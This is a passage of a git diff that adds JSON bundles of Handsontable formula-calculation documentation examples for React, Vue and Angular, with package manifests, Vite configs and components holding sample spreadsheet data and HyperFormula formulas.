\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example-data-grid\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HyperFormula } from 'hyperformula';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data = [\n ['150', '643', '0.32', '11', '=A1*(B1*C1)+D1'],\n ['172', '474', '0.51', '11', '=A2*(B2*C2)+D2'],\n ['188', '371', '0.59', '11', '=A3*(B3*C3)+D3'],\n ['162', '731', '0.21', '10', '=A4*(B4*C4)+D4'],\n ['133', '682', '0.81', '9', '=A5*(B5*C5)+D5'],\n ['87', '553', '0.66', '10', '=A6*(B6*C6)+D6'],\n ['26', '592', '0.62', '11', '=A7*(B7*C7)+D7'],\n ['110', '461', '0.73', '9', '=A8*(B8*C8)+D8'],\n ['50', '346', '0.52', '15', '=A9*(B9*C9)+D9'],\n ['160', '423', '0.82', '11', '=A10*(B10*C10)+D10'],\n ['30', '216', '0.26', '9', '=A11*(B11*C11)+D11'],\n ['39', '473', '0.44', '5', '=A12*(B12*C12)+D12'],\n ['96', '490', '0.43', '5', '=A13*(B13*C13)+D13'],\n ['108', '176', '0.71', '7', '=A14*(B14*C14)+D14'],\n ['46', '586', '0.01', '14', '=A15*(B15*C15)+D15'],\n ['97', '514', '0.7', '14', '=A16*(B16*C16)+D16'],\n ['161', '717', '0.01', '13', '=A17*(B17*C17)+D17'],\n ['58', '123', '0.4', '8', '=A18*(B18*C18)+D18'],\n ['92', '739', '0.76', '14', '=A19*(B19*C19)+D19'],\n ['5', '320', '0.52', '13', '=A20*(B20*C20)+D20'],\n ['158', '480', '0.65', '5', '=A21*(B21*C21)+D21'],\n ['121', '373', '0.66', '8', '=A22*(B22*C22)+D22'],\n ['61', '704', '0.95', '7', '=A23*(B23*C23)+D23'],\n ['155', '452', '0.71', '10', '=A24*(B24*C24)+D24'],\n ['162', '693', '0.73', '11', '=A25*(B25*C25)+D25'],\n ['46', '75', '0.14', '15', '=A26*(B26*C26)+D26'],\n ['47', '691', '0.58', '15', '=A27*(B27*C27)+D27'],\n ['104', '346', '0.04', '7', '=A28*(B28*C28)+D28'],\n ['101', '717', '0.87', '5', '=A29*(B29*C29)+D29'],\n ['150', '487', '0.26', '15', '=A30*(B30*C30)+D30'],\n ['42', '465', '0.09', '14', '=A31*(B31*C31)+D31'],\n ['144', '337', '0.72', '7', '=A32*(B32*C32)+D32'],\n ['195', '138', '0.3', '6', '=A33*(B33*C33)+D33'],\n ['199', '717', '0.16', '6', '=A34*(B34*C34)+D34'],\n ['110', '236', '0.91', '9', '=A35*(B35*C35)+D35'],\n ['51', '351', '0.81', '13', '=A36*(B36*C36)+D36'],\n ['69', '221', '0.64', '9', '=A37*(B37*C37)+D37'],\n ['53', '125', '0.28', '12', '=A38*(B38*C38)+D38'],\n ['168', '428', '0.68', '9', '=A39*(B39*C39)+D39'],\n ['58', '361', '0.36', '5', '=A40*(B40*C40)+D40'],\n ['152', '213', '0.13', '13', '=A41*(B41*C41)+D41'],\n ['66', '431', '0.93', '10', '=A42*(B42*C42)+D42'],\n ['112', '108', '0.5', '14', '=A43*(B43*C43)+D43'],\n ['50', '127', '0.7', '7', '=A44*(B44*C44)+D44'],\n ['31', '200', '0.15', '14', '=A45*(B45*C45)+D45'],\n ['132', '654', '0.81', '8', '=A46*(B46*C46)+D46'],\n ['45', '438', '0.79', '6', '=A47*(B47*C47)+D47'],\n ['197', '615', '0.63', '7', '=A48*(B48*C48)+D48'],\n ['190', '592', '0.37', '8', '=A49*(B49*C49)+D49'],\n ['184', '419', '0.78', '8', '=A50*(B50*C50)+D50'],\n ['169', '58', '0.13', '7', '=A51*(B51*C51)+D51'],\n ['152', '324', '0.58', '5', '=A52*(B52*C52)+D52'],\n ['182', '713', '0.53', '5', '=A53*(B53*C53)+D53'],\n ['141', '576', '0.63', '12', '=A54*(B54*C54)+D54'],\n ['169', '429', '0.14', '13', '=A55*(B55*C55)+D55'],\n ['39', '694', '0.98', '13', '=A56*(B56*C56)+D56'],\n ['71', '361', '0.3', '13', '=A57*(B57*C57)+D57'],\n ['148', '540', '0.89', '6', '=A58*(B58*C58)+D58'],\n ['116', '52', '0.3', '7', '=A59*(B59*C59)+D59'],\n ['96', '395', '0.28', '7', '=A60*(B60*C60)+D60'],\n ['35', '222', '0.86', '13', '=A61*(B61*C61)+D61'],\n ['16', '430', '0.8', '8', '=A62*(B62*C62)+D62'],\n ['194', '357', '0.72', '9', '=A63*(B63*C63)+D63'],\n ['24', '498', '0.7', '7', '=A64*(B64*C64)+D64'],\n ['170', '142', '0.52', '5', '=A65*(B65*C65)+D65'],\n ['184', '614', '0.68', '9', '=A66*(B66*C66)+D66'],\n ['153', '524', '0.15', '9', '=A67*(B67*C67)+D67'],\n ['88', '620', '0.39', '15', '=A68*(B68*C68)+D68'],\n ['57', '452', '0.11', '6', '=A69*(B69*C69)+D69'],\n ['62', '493', '0.03', '11', '=A70*(B70*C70)+D70'],\n ['123', '431', '0.75', '15', '=A71*(B71*C71)+D71'],\n ['77', '113', '0.63', '12', '=A72*(B72*C72)+D72'],\n ['199', '208', '0.07', '6', '=A73*(B73*C73)+D73'],\n ['149', '514', '0.42', '12', '=A74*(B74*C74)+D74'],\n ['191', '334', '0.78', '13', '=A75*(B75*C75)+D75'],\n ['150', '643', '0.32', '11', '=A76*(B76*C76)+D76'],\n ['130', '721', '0.62', '5', '=A77*(B77*C77)+D77'],\n ['179', '517', '0.1', '8', '=A78*(B78*C78)+D78'],\n ['98', '31', '0.01', '10', '=A79*(B79*C79)+D79'],\n ['175', '509', '0.7', '11', '=A80*(B80*C80)+D80'],\n ['11', '569', '0.37', '7', '=A81*(B81*C81)+D81'],\n ['184', '630', '0.19', '6', '=A82*(B82*C82)+D82'],\n ['27', '165', '0.51', '13', '=A83*(B83*C83)+D83'],\n ['186', '417', '0.85', '15', '=A84*(B84*C84)+D84'],\n ['20', '741', '0.76', '11', '=A85*(B85*C85)+D85'],\n ['153', '640', '0.28', '6', '=A86*(B86*C86)+D86'],\n ['161', '542', '0.43', '14', '=A87*(B87*C87)+D87'],\n ['98', '344', '0.77', '6', '=A88*(B88*C88)+D88'],\n ['30', '400', '0.71', '13', '=A89*(B89*C89)+D89'],\n ['73', '91', '0.78', '8', '=A90*(B90*C90)+D90'],\n ['158', '72', '0.66', '12', '=A91*(B91*C91)+D91'],\n ['122', '35', '0.32', '15', '=A92*(B92*C92)+D92'],\n ['33', '99', '0.92', '9', '=A93*(B93*C93)+D93'],\n ['107', '538', '0.75', '10', '=A94*(B94*C94)+D94'],\n ['15', '563', '0.32', '6', '=A95*(B95*C95)+D95'],\n ['168', '572', '0.71', '6', '=A96*(B96*C96)+D96'],\n ['135', '217', '0.49', '12', '=A97*(B97*C97)+D97'],\n ['11', '595', '0.03', '13', '=A98*(B98*C98)+D98'],\n ['41', '739', '0.88', '11', '=A99*(B99*C99)+D99'],\n ['144', '289', '0.87', '13', '=A100*(B100*C100)+D100'],\n ['Sum', 'Average', 'Average', 'Sum', 'Sum'],\n ['=SUM(A1:A100)', '=AVERAGE(B1:B100)', '=AVERAGE(C1:C100)', '=SUM(D1:D100)', '=SUM(E1:E100)'],\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/formulas/formula-calculation/react/example-data-grid.tsx","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-data-grid","exampleTitle":"Data grid example","docPermalink":"/formula-calculation","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example-named-expressions1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example-named-expressions1.tsx.json new file mode 100644 index 00000000..7a67d7ed --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example-named-expressions1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Formulas ▸ Formula calculation · Demo: plain-value named expression · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example-named-expressions1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { ChangeEvent, useRef, useState } from 'react';\nimport { HyperFormula } from 'hyperformula';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { DetailedSettings } from 'handsontable/plugins/formulas';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotNamedExpressionsRef = useRef(null);\n const [namedExpressionValue, setNamedExpressionValue] = useState('=10 * Sheet1!$A$2');\n\n const data = [\n ['Travel ID', 'Destination', 'Base price', 'Price with extra cost'],\n ['154', 'Rome', 400, '=ROUND(ADDITIONAL_COST+C2,0)'],\n ['155', 'Athens', 300, '=ROUND(ADDITIONAL_COST+C3,0)'],\n ['156', 'Warsaw', 150, '=ROUND(ADDITIONAL_COST+C4,0)'],\n ];\n\n const inputChangeCallback = (event: ChangeEvent) => {\n setNamedExpressionValue(event.target.value);\n };\n\n const buttonClickCallback = () => {\n const hotNamedExpressions = hotNamedExpressionsRef.current?.hotInstance;\n const formulasPlugin = hotNamedExpressions?.getPlugin('formulas');\n\n formulasPlugin?.engine?.changeNamedExpression('ADDITIONAL_COST', namedExpressionValue);\n\n hotNamedExpressions?.render();\n };\n\n return (\n <>\n
\n
\n inputChangeCallback(...args)}\n />\n \n
\n
\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/formulas/formula-calculation/react/example-named-expressions1.tsx","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions1","exampleTitle":"Demo: plain-value named expression","docPermalink":"/formula-calculation","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example-named-expressions2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example-named-expressions2.tsx.json new file mode 100644 index 00000000..339470c0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example-named-expressions2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Formulas ▸ Formula calculation · Demo: formula-based named expressions · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example-named-expressions2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HyperFormula } from 'hyperformula';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// Named expressions that reference cell ranges must be registered after the sheet\n// exists. Pre-build the engine at module level so it is created only once.\nconst hfInstance = HyperFormula.buildEmpty({\n licenseKey: 'internal-use-in-handsontable',\n});\n\nhfInstance.addSheet('Sheet1');\nhfInstance.addNamedExpression('Q1_TOTAL', '=SUM(Sheet1!$B$1:$B$3)');\nhfInstance.addNamedExpression('Q2_TOTAL', '=SUM(Sheet1!$C$1:$C$3)');\n\nconst data = [\n ['Widget A', 200, 250],\n ['Widget B', 150, 300],\n ['Widget C', 400, 350],\n ['Totals', '=Q1_TOTAL', '=Q2_TOTAL'],\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/formulas/formula-calculation/react/example-named-expressions2.tsx","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions2","exampleTitle":"Demo: formula-based named expressions","docPermalink":"/formula-calculation","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example1.tsx.json new file mode 100644 index 00000000..3f1a14fb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Formulas ▸ Formula calculation · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HyperFormula } from 'hyperformula';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data1 = [\n ['10.26', null, 'Sum', '=SUM(A:A)'],\n ['20.12', null, 'Average', '=AVERAGE(A:A)'],\n ['30.01', null, 'Median', '=MEDIAN(A:A)'],\n ['40.29', null, 'MAX', '=MAX(A:A)'],\n ['50.18', null, 'MIN', '=MIN(A1:A5)'],\n ];\n\n const data2 = [\n ['Is A1 in Sheet1 > 10?', '=IF(Sheet1!A1>10,\"TRUE\",\"FALSE\")'],\n ['Is A:A in Sheet > 150?', '=IF(SUM(Sheet1!A:A)>150,\"TRUE\",\"FALSE\")'],\n ['How many blank cells are in the Sheet1?', '=COUNTBLANK(Sheet1!A1:D5)'],\n ['Generate a random number', '=RAND()'],\n ['Number of sheets in this workbook', '=SHEETS()'],\n ];\n\n // create an external HyperFormula instance\n const hyperformulaInstance = HyperFormula.buildEmpty({\n // to use an external HyperFormula instance,\n // initialize it with the `'internal-use-in-handsontable'` license key\n licenseKey: 'internal-use-in-handsontable',\n });\n\n return (\n <>\n

Sheet 1

\n \n

Sheet 2

\n \n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"h3.demo-preview {\n margin-bottom: 0.3rem !important;\n padding-top: 0 !important;\n margin-top: 0.5rem !important;\n}"},"docsPath":"guides/formulas/formula-calculation/react/example1.tsx","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formula-calculation","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example-data-grid.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example-data-grid.vue.json new file mode 100644 index 00000000..651ee6a0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example-data-grid.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Formulas ▸ Formula calculation · Data grid example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example-data-grid\");","/src/App.vue":"\n\n"},"docsPath":"guides/formulas/formula-calculation/vue/example-data-grid.vue","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-data-grid","exampleTitle":"Data grid example","docPermalink":"/formula-calculation","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example-named-expressions1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example-named-expressions1.vue.json new file mode 100644 index 00000000..962e3e8a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example-named-expressions1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Formulas ▸ Formula calculation · Demo: plain-value named expression · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example-named-expressions1\");","/src/App.vue":"\n\n"},"docsPath":"guides/formulas/formula-calculation/vue/example-named-expressions1.vue","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions1","exampleTitle":"Demo: plain-value named expression","docPermalink":"/formula-calculation","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example-named-expressions2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example-named-expressions2.vue.json new file mode 100644 index 00000000..892a22c3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example-named-expressions2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Formulas ▸ Formula calculation · Demo: formula-based named expressions · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example-named-expressions2\");","/src/App.vue":"\n\n"},"docsPath":"guides/formulas/formula-calculation/vue/example-named-expressions2.vue","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions2","exampleTitle":"Demo: formula-based named expressions","docPermalink":"/formula-calculation","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example1.vue.json new file mode 100644 index 00000000..8f1420fe --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Formulas ▸ Formula calculation · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport \"./styles.css\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n","/src/styles.css":"h3.demo-preview {\n margin-bottom: 0.3rem !important;\n padding-top: 0 !important;\n margin-top: 0.5rem !important;\n}"},"docsPath":"guides/formulas/formula-calculation/vue/example1.vue","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formula-calculation","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__angular-hot-instance__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__angular-hot-instance__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__angular-hot-instance__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__angular-hot-instance__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example1.ts.json new file mode 100644 index 00000000..dedb7c18 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": 